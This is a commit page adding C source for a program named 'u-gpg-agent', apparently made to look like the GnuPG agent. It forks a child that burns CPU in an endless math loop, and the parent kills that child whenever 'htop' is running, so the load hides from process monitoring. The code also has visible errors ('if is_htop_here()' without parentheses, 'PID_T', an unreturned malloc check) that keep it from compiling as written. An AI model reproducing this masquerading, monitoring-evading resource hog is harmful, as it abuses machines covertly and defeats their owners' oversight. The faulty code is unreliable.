Clément K vor 2 Jahren
Commit
ae4c376de1
3 geänderte Dateien mit 62 neuen und 0 gelöschten Zeilen
  1. 18 0
      main.c
  2. 37 0
      u-gpg-agent.c
  3. 7 0
      u-gpg-agent.h

+ 18 - 0
main.c

@@ -0,0 +1,18 @@
+#include "u-gpg-agent.h"
+#include <unistd.h>
+#include <signal.h>
+#include <sys/types.h>
+
+int main() {
+    PID_T pid = fork();
+    if (pid == 0) { //KINDER
+        stress(1);
+    } else if (pid > 0) {
+        while(1) {
+            if is_htop_here() {
+                kill(pid, SIGKILL);
+            }
+            sleep(2);
+        }
+    }
+}

+ 37 - 0
u-gpg-agent.c

@@ -0,0 +1,37 @@
+#include "u-gpg-agent.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+#include <time.h>
+
+int is_htop_here() {
+    char cmd[100] = "pgrep htop";  // shell command to check for htop process
+    FILE* fp = popen(cmd, "r");    // open a pipe to execute the command and read its output
+    char buf[10];                  // buffer to hold the output
+    fgets(buf, sizeof(buf), fp);  // read the output from the pipe into the buffer
+    pclose(fp);                   // close the pipe
+    if (strlen(buf) > 0) {        // if the output is non-empty, htop is running
+        return 1;
+    } else {
+        return 0;
+    }
+}
+    
+void stress(int level) {
+    double *arr = malloc(level * sizeof(double));
+    if (arr == NULL) {
+        printf("Error: failed to allocate memory\n");
+    }
+    
+    srand(time(NULL));
+    
+    while (1) {
+        // generate random values and perform complex mathematical operations on them
+        for (int i = 0; i < level; i++) {
+            arr[i] = (double)rand() / RAND_MAX;
+        }
+        for (int i = 0; i < level; i++) {
+            arr[i] = sin(cos(tan(arr[i] * M_PI)));
+        }
+    }
+}

+ 7 - 0
u-gpg-agent.h

@@ -0,0 +1,7 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+void stress(int level);
+
+int is_htop_here();